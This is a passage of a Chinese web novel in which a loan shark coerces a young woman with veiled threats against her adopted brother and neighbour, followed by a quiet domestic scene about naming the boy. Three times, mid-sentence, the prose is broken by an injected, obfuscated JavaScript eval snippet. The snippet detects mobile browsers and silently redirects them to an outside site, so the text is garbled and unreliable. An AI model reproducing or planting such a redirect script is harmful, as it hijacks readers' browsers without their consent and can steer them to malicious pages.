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阮云琛没有动,眼神依旧沉静,可肩膀却在这一瞬微不可察地僵了一下。 宋祈当然看到了。 他不可能看不到。 捕食者能敲得见猎物的一切动静,他们能察觉到周遭所有的风吹草动。 人为刀俎,我为鱼肉,阮云琛知道自己就是一条被抽筋剥骨的鱼,明明已经被扼住了脖子砍碎了头颅,却仍旧想在那脏兮兮的砧板上做着无用的挣扎。 宋祈的嘴角微微一勾,笑声低低地从喉咙里溢出来,尾音却像一柄利刃,在空气中划开一道冷锋。 他靠在沙发上,神情懒散,目光却牢牢地锁在她身上,像一只耐心的猛兽,等着猎物自己陷进网里。 “让我猜猜——”他微微前倾,视线像利刃一般刺向她,“是你捡来的弟弟吧?” 宋祈说这句话的时候,声音拖得很长,像是在一根细线上慢慢划开。话音落下,房间里安静得只剩下杯中的液体微微晃动的声音。 阮云琛的手指蜷缩了一下,指甲陷进掌心。那点微弱的疼痛并不能让她清醒过来,反倒像是被一种更深的压迫包裹着,让她连呼吸都变得滞涩。 “阮云琛,你还真有闲心啊。”他的目光重新落回她的脸上,那笑容变得更加明显,却冷得像刀锋,几乎让人感到皮肤被割裂的寒意。 沉默再一次拉开。 宋祈坐在那里,像是在有意拖长这个时间。 他没有急着继续说话。他慢条斯理地取了一支烟点燃,烟雾在他的指尖升腾,遮住了他半边脸,只有那双眼睛透过烟雾,冷冷地落在阮云琛身上。 “我倒是挺好奇的。”他的语调轻得像是在闲聊,手指夹着烟,指尖的红光一闪一灭,“他姓什么?” 阮云琛心里微微一震,目光依旧垂着,手却不由自主地缩进了袖口。 “是自己有姓?”宋祈吐出一口烟,目光微微一转,笑意更浓了一些,“还是……跟你姓?” 阮云琛的呼吸滞了一瞬。她的喉咙干涩得像是被砂纸擦过,嘴唇微不可察地抿了一下,却没有开口。 宋祈靠得更近了些,似乎是在观察她的反应。他的声音压低了几分,笑意冷得像冰,“阮秋?” 48. “有难必帮” 他说得很慢,刻意拉长了每一个音节,像是一把慢慢刺入皮肉的刀,带着一种试探又嘲弄的恶意,“嗯……挺好听的。” 那句“阮秋”像是一根突然砸下的冷硬的钉子,直接钉进了阮云琛的胸口。 她的心跳一瞬间乱了节奏,呼吸也不由自主地停滞了一下,胸口的起伏被迅速压了下去,仿佛要把所有动摇都藏到看不见的地方去。 她依旧垂着眼,努力掩饰自己的情绪,手指却不自觉地在袖口里蜷缩,掌心被指甲掐得隐隐生疼。 宋祈看着她,像是终于找到了点乐子。 他嘴角的笑意微微扬起,带着刀锋般的冷意,手指轻轻敲了敲桌面,“阮云琛,你可真有本事啊。连个名字都能取得这么……贴心。” 那句“贴心”像是裹着毒的刺,故意扎进她的每一根神经里,让她的每一寸皮肤都像被抽紧了。 阮云琛的指尖绷紧,脑海里一片空白。她几乎没有思考,脱口而出:“没有。” 声音低沉,冷硬,像是一块寒冰砸进了房间,敲碎了宋祈的笑声。 宋祈微微歪头,看着她的脸,嘴角的弧度不增反减,眼底却透出一种危险的兴味。 “没有?”宋祈重复了一遍,声音压得极低,尾音里拖出一种刻意的慢,带着不容拒绝的冷硬。 他的语调依旧平稳,却像毒蛇吐出的信子,每一个字都精准而阴冷,盘绕在阮云琛的脖颈上,逼得她无处可逃。 宋祈稍稍靠前一步,目光不曾移开,却是一种带着掠夺意味的凝视,将人压制得透不过气。 阮云琛下意识地屏住了呼吸,掌心在口袋里攥得更紧,指甲几乎掐进了掌心的肉里。 冷汗顺着脊背滑下,衣料贴在皮肤上,凉得像一层湿冷的膜,让她每一个动作都变得艰难而迟缓。 她的心跳得很快,却被压在一层厚重的恐惧之下。 那恐惧来得突然而无声,像某种藏在身体深处的旧伤疤,在一瞬间被强行揭开,暴露在空气里。 “从前你跪着求我的时候,”宋祈的声音慢了下来,吐出的烟雾在灯光下缭绕不散。他的语气里带着一股轻描淡写的冷漠,像是谈论一件无关紧要的小事,“可没像现在这么硬气。” 他抬眼看着她,嘴角勾起一抹嘲弄的弧度,像刀子一样刻在阮云琛的眼底。“嗯?我记得你在棋牌室的那时候,连头都不敢抬。要我教教你,怎么才能把腰低下来?” 阮云琛的呼吸瞬间一滞。 那一瞬间,胃部翻滚的感觉再度袭来,像是有什么钝器压在胸口,让她几乎喘不过气。指尖蜷缩成拳,藏在口袋里的手因为用力而微微颤抖。 宋祈似乎察觉到了她的细微变化,嘴角的弧度更深了几分。 “怎么,想起来了?”他的声音更低了些,慢条斯理地补了一句,“淼淼住院的那次,也是你跪下求我的吧。啧,还真是条听话的狗。” 阮云琛的指尖僵了一下,藏在袖口里的手微微颤动,却始终没有抬起。 她听过这些话,太多次了。 和安堂里的人总喜欢这么形容她,那些混杂着轻蔑与嘲弄的语调,像是无数根细针,曾经一针针扎进她的耳朵、心脏、骨头。 后来她以为,自己早就习惯了——可事实证明,她永远无法对这些话无动于衷。 “听话的狗”是一种钉死她身份的讽刺,是一种赤裸裸的枷锁,将她困在宋祈的掌控之下。即使她挣扎,即使她拼命想要逃离,那锁链却始终勒在她的脖颈上,随着她的每一次抗争收得更紧。 “别装得太高傲,阮云琛。你以为你在我面前能站起来几次?” 他的语气轻飘飘的,带着一种骨子里的傲慢和戏谑,“别忘了,你跪的次数比我自己都记得清楚。听话一点,别让我把账算到你那点牵挂上。” 他的目光里闪过一丝若有若无的恶意,缓缓说道:“还是说……你是想让我去问问那个‘秋’的意见?嗯……他应该不会太介意,毕竟听说,他的名字可是你给起的。” 阮云琛的头猛地抬了起来。那一瞬间,她的瞳孔微微缩了一下,眼里浮现出一瞬的错愕和压抑住的恐惧。 她的嘴唇动了动,却一个字也没有说出口。胸口隐隐发紧,像是有人狠狠地攥住了她的心脏。 宋祈慢条斯理地吸了一口烟,目光没有移开她的脸,眼里多了一点玩味的嘲弄。他微微侧过身,像是要更仔细地观察她的每一个细节反应。 烟雾从他的鼻尖喷薄而出,直直地扑在阮云琛的脸上。刺鼻的气味窜进鼻腔,让她的喉咙顿时一阵发紧。她微微偏过头,眼神冷而僵硬,像是竭尽全力地克制着某种冲动。 宋祈似乎很满意她的反应。他缓缓笑了一声,声音低哑,带着一点懒散的冷意。“怎么?舍不得了?” 他的手指轻轻敲着烟灰缸,烟灰轻轻散落在玻璃边缘,和他的语气一样随意。 “记住,阮云琛,”他的嘴角微微挑起,似笑非笑,语气却愈发寒冷,“你欠我的,这辈子都还不完。你收留了谁,捧着谁,都得问问我。” “懂了吗?”宋祈语气轻飘飘的,却透着一种刻骨的寒意。他的指尖轻轻敲了敲沙发扶手,节奏漫不经心,却像是在给她敲响无形的警钟。 阮云琛没有回答,只是站在那里,目光依旧沉着,肩膀却绷得很紧。她努力让自己看起来像一块无懈可击的石头,可内心深处的某个角落,早已被压迫感碾得发颤。 “好好想想,阮云琛,”宋祈低声说道,吐出最后一口烟,“该听话的时候,别让我失望。” 他的语气轻而冷,每一个字都像是毒蛇吐出的信子,盘绕在阮云琛的脖颈上,逼得她无处可逃。 阮云琛的指尖在口袋里不自觉地收紧,掌心被指甲硌得发疼,冷汗顺着后背滑下,隐隐浸湿了贴在皮肤上的衣料。 “明天。”宋祈的话锋突然一转,声音里多了一丝轻飘飘的冷酷,像是在宣布一个不容置疑的命令,“去给我收个债。” 他的手轻轻拍在阮云琛的肩膀上,动作随意得像是拍掉一粒灰尘,却透着某种无法抗拒的侵略性。 阮云琛的肩膀僵了一下,指尖在口袋里不自觉地蜷紧,掌心里满是冰冷的湿意。 “债不大,几千块的小生意罢了。”宋祈吸了口烟,烟雾缓缓从他的唇间吐出,升腾着,像一张模糊的网,逐渐笼罩住她的呼吸。 阮云琛的目光落在地砖上,像是要从那些年久失修的裂缝里看出什么答案来。她没动,只是站在那里,肩膀不动声色地绷紧了一些。 几千块的小生意? 空气里那股烟草味变得刺鼻起来,她的胃隐隐发紧,脑子却像被冻住了,所有的念头都悬在一片模糊的空白里。 她知道宋祈的习惯——笑着饶过一次,后脚便会叫你加倍偿还。时间被拉长,他耐心地等,等猎物意识到自己已经走进了陷阱,还在假装镇定地想着如何逃脱。 宋祈不可能放过她。 指尖在口袋里轻轻动了动,布料粗糙的触感像细小的砂砾摩擦着皮肤。她试着攥住点什么,却什么都没有抓住,仿佛连这点触感也滑落了。 她的呼吸不由自主地慢了一拍,心跳也随着那缓慢的韵律压得更低。 不......不可能。 这绝不会只是“小生意”。 宋祈的笑意轻轻一挑,眼里闪过一丝若有若无的恶意。他似乎对她的反应很满意,却又像是一只盘踞的蛇,耐心地等待猎物的一丝破绽。 “你知道那人为什么借钱吗?”他慢条斯理地开口,语气里带着一抹轻描淡写的嘲弄。 宋祈没很快又轻轻哼了一声,似乎对她的沉默感到有趣:“他借钱,是为了供他那小孩上学。听说,看到我们传单的时候,他还以为自己碰上了什么天大的好人。” 他说得很慢,像是在品味每一个字的重量,刻意将语调拉长。 阮云琛的心头一紧,那种隐隐的不安像一根不大的刀子,从她胸口扎下去,开始缓缓地拧转。 “传单上的字可写得真漂亮。”宋祈笑了笑,声音缓慢地压低了些,“你记得吧,上面那句‘有难必帮’,听起来多感人……不知道后来,他们家是不是还觉得我们是贵人呢?” “传单上的字可写得真漂亮。”宋祈的声音拖得很长,尾音低沉得像一条蛇滑过冰面。 他的目光似乎并没有看她,而是落在那杯渐渐冷却的红酒上,仿佛这是他唯一感兴趣的东西。 “你记得吧,上面那句‘有难必帮’,听起来多感人……不知道后来,他们家是不是还觉得我们是贵人呢?” 阮云琛的呼吸顿了一下,目光轻轻一抬,落在他的侧脸上。 光线在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984778|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脸上切出了几道锋利的阴影,她的视线却不敢停留太久,只是迅速地移开。指尖在衣袋里蜷缩了一下,像是要抓住点什么,却连粗糙的布料都捏不出一点温度。 宋祈依旧慢条斯理地把玩着手里的烟,火星时不时一闪。他终于转过头,目光像一把无声的刀,从她脸上一寸寸刮过。 “听说——那家的孩子,姓程。” 这一句话,短得像是一记闷棍,直接砸在阮云琛的后脑上。 她脑海里“嗡”地一声,仿佛一块巨石从高处坠落,重重地砸进平静的水面,激起无数尖锐的碎裂声。 那个姓氏像是黑暗中燃起的一根火柴,瞬间点燃了她所有的思绪,却又让她无法控制地往深渊里坠。 程? 万秀。 程一冉。 每一个名字都像是一根冷钉,一下一下地钉在她的神经末端。恐惧从脊柱一路攀升,冷得像一层冰霜,从内到外将她整个人冻住了。 她的目光下意识地垂了下来,不敢对上宋祈的眼睛。心脏跳得极快,快得像是在与时间赛跑,却又沉得像一块坠在深海的铁。 宋祈的每一个字都像是在缓慢地撕开一个伤口,他没有急着把刀插进去,而是优雅地等着她自己将痛楚展现给他看。 “怎么,吓到了?”宋祈低低地笑了一声,声音里透着说不清的戏谑和得意。 他缓缓吐出一口烟,头微微偏向一侧,浓烈的烟雾随即冲她脸上笼罩过去,带着一股呛人的味道。 阮云琛本能地屏住了呼吸,但胸腔里那种滞涩的压迫感依旧让她快要窒息。 宋祈似乎没注意到她的反应——又或者他看得一清二楚,只是懒得戳破。他的目光在空气里游移了一瞬,嘴角慢慢勾起,像是在酝酿着更有趣的“玩笑”。 “听说啊——”他拖长了语调,声音懒散得像是在讲一件无关紧要的小事,“她是你的邻居?那小面摊生意不错吧?啊……对了,你吃过她炒的面吗?” 阮云琛的身体猛然绷紧了一下,掌心渗出的冷汗浸透了口袋里的布料。她的牙关紧紧咬着,微微发颤,却依旧没有抬头。 宋祈笑了一声,嘴角的弧度又深了些,像是猎人玩弄猎物时的满足。“可好吃了——洋葱,孜然,还有最后炝锅的那一点醋。” 他仿佛回忆起了什么美好的味道,刻意夸张地吸了一口气,鼻翼微微翕动,装作陶醉的模样,“真香啊。” 他一字一顿,声音里带着毫不掩饰的恶意,像是用刀尖一点点剖开她的底线,戳进她最不愿面对的地方。 ——“有难必帮”。 那张传单又反反复复地闪过了阮云琛的脑中。 “有难必帮”。 传单上的那四个字在记忆里扭曲、放大,像是一面嘲讽的镜子,映出她自己所有的狼狈和屈辱。 那传单上的字,是她还在福利院时亲手抄下的——工整、秀气,带着一种在绝境中伪装出的天真与希望。 可那字是镣铐。 是镣铐,是刀子,是锁住咽喉的铁链。 “多希望以后还能吃到啊。”宋祈的声音再次传来,悠长又缓慢。他的话轻飘飘的,像是扔到湖面的石子,却一圈圈地在她心里荡起了致命的涟漪。 阮云琛的胃里猛然翻腾了一下,那是一种无法控制的恶心感,像是从喉咙深处爬出来的藤蔓,缠绕着她的每一根神经。 她的指尖在口袋里无意识地蜷缩,捏紧,又放松,再捏紧,掌心的疼痛让她勉强维持着站立的姿态。 宋祈看着她,像是在观赏一件让人心情愉悦的艺术品。他又抽了一口烟,烟雾从他的嘴里缓缓吐出,像一层看不见的网,把她牢牢地困在原地。 随后,他满意地笑了笑,缓缓吐出一口烟,随手将烟头摁灭在茶几上的烟灰缸里,发出一声轻微的“嗞”响。 “听话点,阮云琛。”他的语气轻柔得像是哄小孩,却带着刺骨的冷意,“这次可别失败了哦。” 他的语气平淡得近乎温柔,但字里行间的警告却如利刃般直逼她心口。 阮云琛的手指微微一动,目光低垂,肩膀绷得更紧,像是一把被拉满的弓,随时都会崩断。 “知道了。”她的声音低而冷,藏着一丝无法掩饰的克制与压抑。 宋祈看着她,笑了笑,轻声道:“很好。走吧。” 49. 念头 阮云琛不知道自己走了多久,也不知道走了多远。 三条街,五条街,甚至更多。 她低着头,脚步缓慢而机械,每迈出一步都在从无形的泥沼里淌。 她只觉得自己的身体一阵发冷,寒意从胃部升起,拧着她的内脏往上冲。 日头已经升高了,冬日的阳光刺得人眼睛发酸,可空气里的冷意依然让她的指尖冻得微微发麻。 街道上的人渐渐多了起来,商贩的吆喝声、行人的脚步声交织成一片喧闹,可这一切却仿佛隔着一层玻璃,离她远得不真实。 直到脚步终于停下来,阮云琛撑着膝盖弯下身,便再也忍不住,扶着旁边的铁栏杆剧烈地干呕了出来。 胃里空荡荡的,没有任何实质的东西能吐出来,只有一股酸涩的液体灼烧着喉咙,可那种恶心感却像根植在骨髓里,无法摆脱。 她咳得撕心裂肺,胃部的抽搐将她的力气一点点抽空,眼前的光线像是被撕裂的帘子,斑驳地漏了进来。冷风顺着巷子灌入,刮得她脸颊生疼,眼角泛着酸涩的湿意。 旁边的流浪汉皱了皱眉,站起身换了个方向,牵着自己的狗,骂骂咧咧地走了,像是嫌弃她带来的晦气。 阮云琛捂着胃,身子还在微微发抖。 她的视线模糊了一瞬,耳边仿佛还能听见宋祈那冷冰冰的语气,和烟雾中飘来的轻笑。那些词汇像是某种黏腻的东西,死死贴在她的脑子里,挥之不去。 阮云琛的脑子里像是裹满了一层湿冷的棉絮,沉重得让人喘不过气。耳边依旧残留着宋祈那带着恶意的语气:“那是你楼上的邻居吧?由你去收,岂不是更方便点?” 他说起这个的时候,仿佛只是在说一盘被翻冷的菜。 胃里又是一阵翻涌。她强忍着干呕,身体却止不住地颤抖。所有的理智都被那些回荡的声音碾碎成齑粉,拼凑不出完整的思绪。 指尖忽地传来一阵温热的触感。 轻轻的,带着点湿润。 阮云琛下意识地低下头,却发现那是流浪汉的狗——一只瘦骨嶙峋的黄色土狗,正无声地看着她,尾巴轻轻地晃了两下。 那动作像是小心翼翼的试探,又像是带着某种简单而本能的善意。 流浪汉不知道什么时候又走了回来,手里拎着一瓶皱巴巴的矿泉水。他的神情有些不耐烦,又有些无可奈何地看了她一眼,把水递到她面前:“喝点吧。” 他的声音粗哑,带着烟熏火燎的味道,却没有一点恶意。 阮云琛一时间愣住了。她的目光从水瓶移到那双沾满泥灰的手,再到那狗的眼睛上——它看着她,尾巴又摇了两下。 ……连流浪汉和狗都懂得示以善意。 阮云琛捧着水瓶的手微微用力,指尖有些发白。她的嘴角扯了一下,像是想笑,但那弧度还没成形就已经散了。 是啊,连流浪汉和狗都懂得示以善意。 阮云琛捧着水瓶,掌心的冰凉让她的意识逐渐回笼。 流浪汉早已回到巷口,和他的狗一起蹲在墙边。那条黄色的土狗像是感觉到了她的目光,回头看了她一眼,尾巴懒懒地摆了一下。 她的胸口还是发闷,胃部翻搅着一股难以驱散的恶心感,但她深吸了一口气,慢慢站起来,手里的水瓶跟着晃了一下。她抬头看了看天,日光像冰冷的刀刃,切过她的眼睛。 阮云琛脚步有些不稳地走出了巷子,她的脑海里依旧回荡着宋祈低沉的笑声和带着烟味的话语。那些冷冰冰的词句像针扎进她的神经里,久久无法散去。 到家的时候,一进屋便传来了隐约的说话声。那声音细而轻,带着一点童稚的语调。 屋内的光线柔和,晨光透过半开的窗帘洒在桌面上,给日常的杂乱罩上一层温暖的色调。 淼淼趴在桌子前,小小的身体缩成一团,右手握着铅笔,左手用力撑着课本,仿佛这点力度能让那些令人头疼的习题变得简单些。她皱着眉,眼神纠结得像是在看一张难解的迷宫图。 男孩坐在她对面,拿着一支笔,在草稿纸上简单写了几笔,低声解释着:“这里是加法,不是减法,你算错了。” “啊?”淼淼懊恼地拍了一下自己的脑门,“我就说怎么对不上!” 阮云琛靠在门框上,鞋尖不小心踢到了门槛,发出的轻响引得两人同时抬头。 “姐!”淼淼最先喊了一声,声音带着一点撒娇,“你怎么这么晚才回来?” “外头有事耽搁了。”阮云琛随口答道,把水瓶放在了桌上,“你这题看明白了没?我刚才听说有人算错了。” “那不怪我,”淼淼嘟着嘴,小声抱怨,“是秋哥出题的时候没写清楚。” 阮云琛的目光在他们身上停了片刻,像是随意打量,又像是在出神。她靠在门框上,手指在门边轻轻敲了一下,声音很轻,像是滴在水面上的一颗石子,泛不起多少涟漪。 “这会儿怎么叫哥了?”她冷不丁地开口,语气平淡得像是在念一份早就写好的稿子。 淼淼愣了一下,随即仰着脸反驳:“我一直都有叫哥嘛!”她的声音里带着理直气壮,眼神却有些闪躲。 阮云琛微微偏了偏头,视线扫过她,“嗯,这时候倒是懂起礼貌了。” 淼淼的嘴巴张了张,看起来想争辩点什么,但最终还是鼓起了脸颊,显得既不甘心又有些委屈:“我一直很懂礼貌的!我是全世界最懂礼貌的小孩!” 她的语气故作强硬,语尾却压得轻了些,像是怕没人相信,又怕真的被戳穿。 阮云琛扯了扯嘴角,露出一个模棱两可的笑,没有接话。她的目光转向男孩,却发现他从头到尾都没有参与对话,手指轻轻翻动书页的动作一刻没停。只有嘴角轻微地动了一下,似乎被某句话逗笑了。 空气重新安静下来,只有书页翻动的轻响和淼淼断断续续的嘟囔:“秋哥,你说这题到底选什么嘛……你不会也不知道吧?” 男孩头也没抬,指尖点了点书上的一行字:“认真看。” 淼淼撇撇嘴,乖乖低头。 阮云琛靠在门边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990461|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,手指摸到口袋里的那张欠条,纸张粗糙的触感像一根细针,沿着指尖一路刺进了她的心底。 一切都显得太过平静。 男孩低头看书的模样,淼淼的声音,甚至窗外阳光透过破损的玻璃洒进来的光线……这些画面像是一张拼凑得近乎完美的画布,连破碎的地方都被抹上了伪装的平和。 阮云琛却清楚,这样的日子早晚会被打碎。 口袋里的欠条像是一颗随时可能引爆的雷,提醒着她,这一切不过是悬在宋祈掌心的一场游戏。宋祈轻轻一握,连最后的余温都会被碾成碎片。 她闭了闭眼,脑海里浮现出刚才街头的那一幕——狗的舌头湿漉漉的,流浪汉的手皱巴巴的,连那瓶水都是捡来的,却还是递给了她。 善意...... 善意从未消失,甚至随处可见。可“恶”就像藤蔓,缠住了每一个试图挣脱的枝条。越想逃,就越被勒得喘不过气来。 阮云琛的手指在口袋里缩紧了些,欠条的边缘硌得更疼了。 她知道,这一局的规则早就设定好了,只有两种结局:反抗,或沉沦。 门外传来一阵轻轻的敲门声,阮云琛愣了一下,下意识地抬起头。 门缝推开了些,男孩端着个盘子站在门口。 盘子上的油饼带着些焦黑的痕迹,看起来显然是反复热过多次的。那股微微糊了的油香味混着冷风飘进屋里,阮云琛怔了一瞬,没说话。 淼淼抬起头,看了男孩一眼,目光落在盘子里的油饼上,眼神瞬间亮了一下,但很快又装作不高兴的样子撅起了嘴:“哼,我就说你为什么不让我吃那块饼!原来是留给姐姐的!你早说嘛!我就不跟你抢了!” 男孩没吭声,只是把盘子递到阮云琛面前。 那双手捧得小心翼翼,动作甚至有些僵硬,像是怕稍微一动,盘子里的油饼就会滑下来。 阮云琛看了他一眼,眉心几乎不可察地动了一下,片刻后才轻声说:“淼淼,看书。” 淼淼嘟囔了两句,委委屈屈地低下头继续看书,嘴里还不服气地小声念叨:“哼,姐姐偏心,秋哥也偏心……” 男孩将盘子小心地放到桌边,轻轻后退了一步,像是在等着阮云琛的反应。 他低头瞥了一眼自己的手,指尖沾了些焦糊的油渍,他有些局促地搓了搓,试图把那油污给搓掉,接着偷偷瞄了阮云琛一眼,又一眼。 阮云琛没有动作,手指仍搭在桌沿,目光有些发散。 她的视线停在盘子里的油饼上,焦黑的边缘和微微裂开的纹路隐约透露出它经过了多次加热的痕迹。那一瞬间,她的心里像是被什么东西轻轻地刺了一下,又迅速地恢复了麻木的平静。 她的目光无意间掠过桌外,忽地停住了。 那本课本安静地躺在餐桌边缘,封皮光洁得几乎反射出微弱的日光。书页轻微翘起的边角暗示着它已经被翻阅过,但整体仍旧保持着一种过分的整洁,就像是刻意被保护着的东西。 “拿过来。”阮云琛说。 50. 扉页 男孩一怔,抬眼看了她一下,却没有说话,只是疑惑地转身走向餐桌,把书拿了起来。 他的手指扶在封皮上时下意识地顿了顿,像是怕弄脏了它似的,刻意避开了刚才不小心蹭上油星的手指,然后才小心翼翼地将书递了过来。 阮云琛接过书,目光不由自主地落在封皮的角落上。书页崭新,翻动时带着微弱的沙沙声,像是刚从书店里拿出来,却又在某种精心的呵护中,显现出些许人为的痕迹。 指尖缓缓划过书脊,那种触感清晰而陌生,带着崭新的锐利和稍纵即逝的温度。阮云琛一时没有翻开书,思绪却被这细微的触觉攥住了,像被一根极细的丝线紧紧牵着,怎么也挣不开。 首页的空白页干净得刺眼。 她盯着那一片空白,像是被什么钉在了原地。周围的声音渐渐远了,只有脑海里残存的那句话,冷不丁地蹿了出来。 “秋?” “嗯,真是个好名字。” 宋祈的声音在记忆里低低回响,那种仿佛能勾住人脖颈的语气,带着让人作呕的慢条斯理,像一把不急不缓的刀,将她的思绪一层层剥开,露出底下被掩埋得不够深的东西。 阮云琛试图甩开这声音,眉头微微皱起,书页在指尖翻开了一半,却又顿住了。呼吸一瞬间变得滞涩,她盯着空白页,视线仿佛被什么按住了,半天没有动,动弹不了。 “秋。” 她在心里重复了一遍这个字,眼前浮现出那张熟悉的脸——男孩低垂的眉眼,安静中藏着隐隐的倔强。 他瘦削的肩膀和伸出的手,总是谨慎地保持着距离,却又在某些瞬间流露出近乎本能的保护欲。 阮云琛的喉咙有些发紧,似乎被卡住了。 她回想起宋祈的语气,那种不动声色的挑衅和居高临下的威压,把这个名字一次次碾进她的骨头里。 可她现在握着的书,却像是另一个反方向的线索——温热的,带着细微善意的触感,和那张传单上冷冰冰的“有难必帮”完全不同。 她的指尖在书页上摩挲,粗糙的纸张硌得她有些发疼,但她并没有松手。视线停在那片空白上,目光沉静,却无法掩饰内心深处的波动。那空白像是一面镜子,映出她从未承认的东西。 她从不相信归属感这种东西。 福利院的时候没有,后来更没有。 她的世界里,从来没有什么是可以长久拥有的东西,甚至包括她自己。可现在,这一片空白却逼迫她去思考一个问题:如果这世上真有可以被拥有的东西,她是否愿意承认? 那本书崭新得刺眼,几乎没有一点翻阅过的痕迹。 可她知道,男孩一定认真看过。他是那种人——对所有东西都带着谨慎而细致的关照,就像他捧着那块反复热过的油饼,就像他默默把自己融进了这个家,却始终站在门槛外。 她感到心里涌起一丝极浅的愤怒。 不是对男孩,而是对自己。 对那个总是把人推开的自己。对那个听着了“秋”这个名字时,却装作无动于衷的自己。 “秋。” 阮云琛又默念了一遍,指尖在空白页上顿了一下。 她闭了闭眼,仿佛试图把某种挥之不去的东西按回去。指尖敲了一下书页,那声音轻得像是从记忆深处飘来的碎片,却又真实地落在空气里。 在这一刻,她意识到自己在犹豫——甚至说不清在犹豫什么。 ……名字。 一个名字究竟意味着什么,她自己也说不清楚。她从未习惯于在这些看似无关紧要的细节上投注太多情绪。 这个名字已经变成了某种象征——一部分是宋祈强行加诸于她的威压,另一部分却是她自己无法否认的情感。 可那又是什么呢? 阮云琛无法完全说清这种情绪的来源——可能是宋祈那种居高临下的语气,可能是对男孩被拖入自己泥沼的不安,也可能只是单纯地……觉得他该有一个归属。 她抬眼看了一下男孩。 他正低着头跟着她的手指看着扉页的空白,脸上写着茫然,却没吭声。 那瘦削的身板安静得像是一座无声的山——他或许早已习惯被忽视、被忘记,但那双眼睛却从来没有被这些打磨成麻木。 阮云琛想起了流浪汉和他的狗,想起那条狗它湿漉漉的眼神,那个小心翼翼的尾巴,想起流浪汉嫌弃却有些担忧的眼神,烦躁地递来那瓶脏兮兮的水的样子...... 善意其实并不需要太多理由。 可如果连流浪的人和流浪的狗都知道如何给予善意,她自己呢? 阮云琛的目光又一次落在书页上。 她心里涌起了一丝莫名的抗拒,像是某种本能的自我保护,却又似什么从未真正面对过的东西被悄然释放。 手指攥紧了些,掌心传来纸张的硌痛,稍稍把阮云琛从这种混乱里拉回了一点。 “怎么没写名字?”她的声音终于落了下来,轻而低,她知道自己在用尽全力维持着表面的平静。 这句话出口的瞬间,她甚至觉得像是替自己松了一口气。 男孩坐在她对面,闻言愣了一下,显然没反应过来她在说什么。他的目光从书页扫到她脸上,又低下头去,手指无意识地攥紧了桌角。 “名字。”阮云琛再次开口,语调平直,“写在首页,方便。” 她的声音没有任何温度,也没有多余的解释,可眼神却一直盯着那本书,执意着要打破这片沉默。 男孩的喉结上下动了一下,抬眼看了她一瞬,随后又垂下目光。他的手指轻轻碰了一下那支笔,却没有拿起来。 “书是新的。”阮云琛看着他,声音比刚才稍稍压低了一些,“名字不写上去,像什么话?” 男孩似乎听懂了,可他的动作还是慢了半拍。他的目光落在那张空白的纸上,停了很久,指尖摸索着笔杆,却始终没有将它握紧。 “可是……”他的声音低下来,像是压在喉咙深处,又像是怕自己说得太大声会被打断,“这书……不是给淼淼的吗?” 他抬起眼,目光短暂地触碰了一下阮云琛的脸,又迅速移开。那眼神里夹杂着隐约的不安和一点说不清的试探,像是在为自己寻找一个理由,又像是单纯地试探对方的底线。 他的手指微微用力,骨节处隐约泛白,像是某种无声的抵抗。他又轻声开口:“她的书……写我的名字,不合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995578|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 适吧?” 阮云琛没有催促,只是垂着眼睛靠在椅背上,手指在桌面上有一下没一下地敲着,像是在逼自己耐心等待。 可她的视线始终没有移开,那本书成了某种目光的交汇点,书页的空白也被压得愈发沉重。 男孩终于拿起了笔,姿势有些僵硬。他垂着头,像是在努力让自己放松,却又克制不住地显得局促。他的手停在空白的书页上,笔尖在纸面悬着,迟迟没有落下。 “这书不是给她的。”她慢慢说道,语调很轻,却掷地有声,“是给你的。” 她的声音里没有解释,也没有多余的情绪波动,只是像在陈述一个不容置疑的事实。 男孩的身体明显地僵了一下,他抬头看了她一眼,那目光里流露出短暂的错愕,随后迅速收敛成某种克制的安静。他的喉结动了动,像是有话要说,却最终什么都没说出来。 “秋。”阮云琛说,“写上吧。” “......秋。”男孩低声重复了一遍。 他的声音轻得几乎听不见。过了很久,他才将笔尖压在纸上,缓慢地写下这个字。 阮云琛看着那片空白终于被笔划填满,眼神微微动了一下。男孩的字很小,像是怕占据太多空间一样,一笔一划收得小心翼翼,仿佛生怕弄脏那一片空白。 她的目光下意识地滑向那个字的边缘,笔画纤细、工整,却少了一点重量。像是随时可以被人擦掉,又像是它本身就不打算久留。 “就写这个?”阮云琛冷不丁地问,语气像是随口一提,那问题却问话像是一块被投出去的石头,不带一丝弧线。 男孩握着笔的手顿了顿,抬眼看了她一瞬,又迅速移开目光,像是怕碰到什么无法承受的东西。他的动作像是被人察觉了什么秘密,带着点藏不住的局促。 “这样就够了。”他说得很轻,几乎像是在自言自语。语气里夹着推脱,又像是某种不安的默认。 阮云琛没有应声,只是将书页翻了一半又合上,动作轻缓,带着压抑的耐心。 